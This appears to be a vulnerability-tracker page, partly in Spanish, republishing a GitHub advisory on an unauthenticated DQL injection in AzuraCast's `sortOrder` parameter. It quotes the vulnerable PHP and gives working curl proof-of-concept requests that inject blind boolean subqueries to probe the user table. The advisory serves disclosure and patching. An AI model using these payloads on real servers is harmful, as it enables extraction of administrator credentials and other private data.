GHSA-JQWC-H3RQ-FRMW
Unauthenticated DQL injection in `sortOrder` API parameter
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JQWC-H3RQ-FRMW divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The `AbstractSearchableListAction.php` file takes data from the `sortOrder` GET parameter and blindly pass it to `addOrderBy()`
### Details
In `backend/src/Controller/Api/Stations/AbstractSearchableListAction.php` on line 39:
$sortDirection = strtolower($queryParams['sortOrder'] ?? 'asc'); Then on line 50-61:
if (!empty($sortField)) {
match ($sortField) {
'name', 'title' => $qb->addOrderBy('sm.title', $sortDirection),
'artist' => $qb->addOrderBy('sm.artist', $sortDirection),
'album' => $qb->addOrderBy('sm.album', $sortDirection),
'genre' => $qb->addOrderBy('sm.genre', $sortDirection),
default => null,
};
} else {
$qb->orderBy('sm.artist', 'ASC')
->addOrderBy('sm.title', 'ASC');
}PoC
curl "https://demo.azuracast.com/api/station/azuratest_radio/requests?sort=title&sortOrder=INVALID"return: 500, Error: [Syntax Error]
curl "https://demo.azuracast.com/api/station/azuratest_radio/requests?sort=genre&sortOrder=asc,%20CASE%20WHEN%20EXISTS(SELECT%201%20FROM%20App%5CEntity%5CUser%20u%20WHERE%20u.id=1)%20THEN%20sm.id%20ELSE%20(0-sm.id)%20END" | jq -r '.[0].song.text'
Lokan - Ex NihiloCondition: true, user id 1 exists
---
curl "https://demo.azuracast.com/api/station/azuratest_radio/requests?sort=genre&sortOrder=asc,%20CASE%20WHEN%20EXISTS(SELECT%201%20FROM%20App%5CEntity%5CUser%20u%20WHERE%20u.id=2)%20THEN%20sm.id%20ELSE%20(0-sm.id)%20END" | jq -r '.[0].song.text'
Lokan - Ex NihiloCondition: true, user id 2 exists
---
curl "https://demo.azuracast.com/api/station/azuratest_radio/requests?sort=genre&sortOrder=asc,%20CASE%20WHEN%20EXISTS(SELECT%201%20FROM%20App%5CEntity%5CUser%20u%20WHERE%20u.id=10)%20THEN%20sm.id%20ELSE%20(0-sm.id)%20END" | jq -r '.[0].song.text'
Avionics - FlipsideCondition: false, user id 10 doesn't exist, order reversed
### Impact
An attacker can slowly extract data such as administrator username, email, hashed password, station settings etc.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Estado del parche por paquete
La fuente no informa paquetes ni versiones corregidas.
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-jqwc-h3rq-frmwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
